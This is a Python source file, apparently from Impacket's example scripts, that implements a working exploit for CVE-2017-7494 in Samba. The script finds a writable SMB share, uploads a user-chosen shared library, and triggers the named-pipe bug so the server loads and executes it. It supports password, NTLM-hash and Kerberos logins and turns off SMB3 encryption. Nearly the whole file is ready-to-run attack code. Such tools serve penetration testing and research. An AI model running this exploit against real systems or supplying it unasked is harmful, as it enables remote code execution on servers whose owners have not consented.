github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/sambaPipe.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  #
     9  # Author:
    10  #  beto (@agsolino)
    11  #
    12  # Description:
    13  #   This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through
    14  #   the -so parameter.
    15  #
    16  #   The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is
    17  #   retrieved by using NetrShareEnum() API with info level 2.
    18  #
    19  #   Example:
    20  #
    21  #   ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1
    22  #
    23  #   It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username
    24  #   to use for authentication will be 'bill' and the password will be asked.
    25  #
    26  #   ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1
    27  #
    28  #   Same as before, but anonymous authentication will be used.
    29  #
    30  #
    31  
    32  import argparse
    33  import logging
    34  import sys
    35  from os import path
    36  
    37  from impacket import version
    38  from impacket.examples import logger
    39  from impacket.nt_errors import STATUS_SUCCESS
    40  from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
    41      FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
    42  from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
    43      SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
    44  from impacket.smbconnection import SMBConnection
    45  
    46  
    47  class PIPEDREAM:
    48      def __init__(self, smbClient, options):
    49          self.__smbClient = smbClient
    50          self.__options = options
    51  
    52      def isShareWritable(self, shareName):
    53          logging.debug('Checking %s for write access' % shareName)
    54          try:
    55              logging.debug('Connecting to share %s' % shareName)
    56              tid = self.__smbClient.connectTree(shareName)
    57          except Exception as e:
    58              logging.debug(str(e))
    59              return False
    60  
    61          try:
    62              self.__smbClient.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
    63              writable = True
    64          except Exception:
    65              writable = False
    66              pass
    67  
    68          return writable
    69  
    70      def findSuitableShare(self):
    71          from impacket.dcerpc.v5 import transport, srvs
    72          rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(),
    73                                                filename=r'\srvsvc', smb_connection=self.__smbClient)
    74          dce = rpctransport.get_dce_rpc()
    75          dce.connect()
    76          dce.bind(srvs.MSRPC_UUID_SRVS)
    77          resp = srvs.hNetrShareEnum(dce, 2)
    78          for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
    79              if self.isShareWritable(share['shi2_netname'][:-1]):
    80                  sharePath = share['shi2_path'].split(':')[-1:][0][:-1]
    81                  return share['shi2_netname'][:-1], sharePath
    82  
    83          raise Exception('No suitable share found, aborting!')
    84  
    85      def uploadSoFile(self, shareName):
    86          # Let's extract the filename from the input file pathname
    87          fileName = path.basename(self.__options.so.replace('\\', '/'))
    88          logging.info('Uploading %s to target' % fileName)
    89          fh = open(self.__options.so, 'rb')
    90          self.__smbClient.putFile(shareName, fileName, fh.read)
    91          fh.close()
    92          return fileName
    93  
    94      def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
    95                 impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
    96                 createContexts=None):
    97  
    98          packet = self.__smbClient.getSMBServer().SMB_PACKET()
    99          packet['Command'] = SMB2_CREATE
   100          packet['TreeID'] = treeId
   101          if self.__smbClient._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
   102              packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
   103  
   104          smb2Create = SMB2Create()
   105          smb2Create['SecurityFlags'] = 0
   106          smb2Create['RequestedOplockLevel'] = oplockLevel
   107          smb2Create['ImpersonationLevel'] = impersonationLevel
   108          smb2Create['DesiredAccess'] = desiredAccess
   109          smb2Create['FileAttributes'] = fileAttributes
   110          smb2Create['ShareAccess'] = shareMode
   111          smb2Create['CreateDisposition'] = creationDisposition
   112          smb2Create['CreateOptions'] = creationOptions
   113  
   114          smb2Create['NameLength'] = len(fileName) * 2
   115          if fileName != '':
   116              smb2Create['Buffer'] = fileName.encode('utf-16le')
   117          else:
   118              smb2Create['Buffer'] = b'\x00'
   119  
   120          if createContexts is not None:
   121              smb2Create['Buffer'] += createContexts
   122              smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
   123              smb2Create['CreateContextsLength'] = len(createContexts)
   124          else:
   125              smb2Create['CreateContextsOffset'] = 0
   126              smb2Create['CreateContextsLength'] = 0
   127  
   128          packet['Data'] = smb2Create
   129  
   130          packetID = self.__smbClient.getSMBServer().sendSMB(packet)
   131          ans = self.__smbClient.getSMBServer().recvSMB(packetID)
   132          if ans.isValidAnswer(STATUS_SUCCESS):
   133              createResponse = SMB2Create_Response(ans['Data'])
   134  
   135              # The client MUST generate a handle for the Open, and it MUST
   136              # return success and the generated handle to the calling application.
   137              # In our case, str(FileID)
   138              return str(createResponse['FileID'])
   139  
   140      def openPipe(self, sharePath, fileName):
   141          # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
   142          # to make things easier for the caller. Not this time ;)
   143          treeId = self.__smbClient.connectTree('IPC$')
   144          sharePath = sharePath.replace('\\', '/')
   145          pathName = '/' + path.join(sharePath, fileName)
   146          logging.info('Final path to load is %s' % pathName)
   147          logging.info('Triggering bug now, cross your fingers')
   148  
   149          if self.__smbClient.getDialect() == SMB_DIALECT:
   150              _, flags2 = self.__smbClient.getSMBServer().get_flags()
   151  
   152              pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
   153  
   154              ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
   155              ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
   156              ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
   157              ntCreate['Parameters']['FileNameLength'] = len(pathName)
   158              ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
   159              ntCreate['Parameters']['FileAttributes'] = 0
   160              ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
   161              ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
   162              ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
   163              ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
   164              ntCreate['Parameters']['SecurityFlags'] = 0
   165              ntCreate['Parameters']['CreateFlags'] = 0x16
   166              ntCreate['Data']['FileName'] = pathName
   167  
   168              if flags2 & SMB.FLAGS2_UNICODE:
   169                  ntCreate['Data']['Pad'] = 0x0
   170  
   171              return self.__smbClient.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
   172          else:
   173              return self.create(treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
   174                                 creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
   175  
   176      def run(self):
   177          logging.info('Finding a writeable share at target')
   178  
   179          shareName, sharePath = self.findSuitableShare()
   180  
   181          logging.info('Found share %s with path %s' % (shareName, sharePath))
   182  
   183          fileName = self.uploadSoFile(shareName)
   184  
   185          logging.info('Share path is %s' % sharePath)
   186          try:
   187              self.openPipe(sharePath, fileName)
   188          except Exception as e:
   189              if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
   190                  logging.info('Expected STATUS_OBJECT_NAME_NOT_FOUND received, doesn\'t mean the exploit worked tho')
   191              else:
   192                  logging.info('Target likely not vulnerable, Unexpected %s' % str(e))
   193          finally:
   194              logging.info('Removing file from target')
   195              self.__smbClient.deleteFile(shareName, fileName)
   196  
   197  
   198  # Process command-line arguments.
   199  if __name__ == '__main__':
   200      # Init the example's logger theme
   201      logger.init()
   202      print(version.BANNER)
   203  
   204      parser = argparse.ArgumentParser(add_help=True, description="Samba Pipe exploit")
   205  
   206      parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
   207      parser.add_argument('-so', action='store', required = True, help='so filename to upload and load')
   208      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
   209  
   210      group = parser.add_argument_group('authentication')
   211  
   212      group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
   213      group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
   214      group.add_argument('-k', action="store_true",
   215                         help='Use Kerberos authentication. Grabs credentials from ccache file '
   216                              '(KRB5CCNAME) based on target parameters. If valid credentials '
   217                              'cannot be found, it will use the ones specified in the command '
   218                              'line')
   219      group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
   220                                                                            '(128 or 256 bits)')
   221  
   222      group = parser.add_argument_group('connection')
   223  
   224      group.add_argument('-dc-ip', action='store', metavar="ip address",
   225                         help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
   226                              'the target parameter')
   227      group.add_argument('-target-ip', action='store', metavar="ip address",
   228                         help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
   229                              'This is useful when target is the NetBIOS name and you cannot resolve it')
   230      group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
   231                         help='Destination port to connect to SMB Server')
   232  
   233      if len(sys.argv) == 1:
   234          parser.print_help()
   235          sys.exit(1)
   236  
   237      options = parser.parse_args()
   238  
   239      if options.debug is True:
   240          logging.getLogger().setLevel(logging.DEBUG)
   241      else:
   242          logging.getLogger().setLevel(logging.INFO)
   243  
   244      import re
   245  
   246      domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
   247          options.target).groups('')
   248  
   249      # In case the password contains '@'
   250      if '@' in address:
   251          password = password + '@' + address.rpartition('@')[0]
   252          address = address.rpartition('@')[2]
   253  
   254      if options.target_ip is None:
   255          options.target_ip = address
   256  
   257      if domain is None:
   258          domain = ''
   259  
   260      if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
   261          from getpass import getpass
   262  
   263          password = getpass("Password:")
   264  
   265      if options.aesKey is not None:
   266          options.k = True
   267  
   268      if options.hashes is not None:
   269          lmhash, nthash = options.hashes.split(':')
   270      else:
   271          lmhash = ''
   272          nthash = ''
   273  
   274      try:
   275          smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
   276          if options.k is True:
   277              smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
   278          else:
   279              smbClient.login(username, password, domain, lmhash, nthash)
   280  
   281          if smbClient.getDialect() != SMB_DIALECT:
   282              # Let's disable SMB3 Encryption for now
   283              smbClient._SMBConnection._Session['SessionFlags'] &=  ~SMB2_SESSION_FLAG_ENCRYPT_DATA
   284          pipeDream = PIPEDREAM(smbClient, options)
   285          pipeDream.run()
   286      except Exception as e:
   287          if logging.getLogger().level == logging.DEBUG:
   288              import traceback
   289              traceback.print_exc()
   290          logging.error(str(e))